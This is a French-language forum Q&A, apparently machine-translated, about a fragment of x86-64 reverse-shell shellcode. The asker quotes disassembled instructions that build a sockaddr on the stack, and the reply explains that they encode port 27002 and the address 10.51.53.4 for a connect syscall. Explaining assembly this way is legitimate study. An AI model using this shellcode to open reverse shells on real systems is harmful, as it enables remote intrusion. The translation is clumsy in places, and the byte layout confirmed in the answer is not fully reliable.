2017-07-04 4 views
0

Je cherche un shellcode shell inversé à partir du lien this. Je ne suis pas en mesure de suivre la raison pour les instructions suivantes dans le shellcode:x86 64 Coquille shell inversée

4000a3: 4d 31 d2    xor r10,r10 
4000a6: 41 52     push r10 
4000a8: c6 04 24 02    mov BYTE PTR [rsp],0x2 
4000ac: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a 
4000b3: c7 44 24 04 0a 33 35 mov DWORD PTR [rsp+0x4],0x435330a 
4000ba: 04 
4000bb: 48 89 e6    mov rsi,rsp 

Je cherchai d'autres SO questions, et je trouve que BYTE/WORD/DWORD PTR serait utilisé pour attribuer un octet/mot/dword . Depuis ce x86 64, je suppose que WORD signifie ici 2 octets et DWORD signifie 4 octets (s'il vous plaît corrigez-moi si je me trompe). L'auteur pousse zéro sur la pile. Puis il a 3 instructions mov. Supposons RER pointe au départ de:

x00 x00 x00 x00 x00 x00 x00 x00 

1) est le suivant l'effet des trois instructions mov (en présumant little endian)?

x04 x35 x33 x0a x7a x69 x00 x02 

2) Si oui, quel est l'auteur de la réalisation parce que ne sont pas les instructions suivantes mov ce qui fait d'écraser par RÉR?

Merci

Répondre

1

1) Oui

2) Auteur sauve la sockaddr pour la prise connecter syscall

 int connect(int sockfd, const struct sockaddr *addr, 
       socklen_t addrlen); 

En x86-64, les arguments sont les registres rdi, rsi et rdx. Ainsi, Il déplace le pointeur addr pointeur sur rsi registre.

mov BYTE PTR [rsp],0x2    ; Family Address (PF_INET) 
mov WORD PTR [rsp+0x2],0x697a  ; port = 27002 
mov DWORD PTR [rsp+0x4],0x435330a ; addr = 10.51.53.4 (0a333504)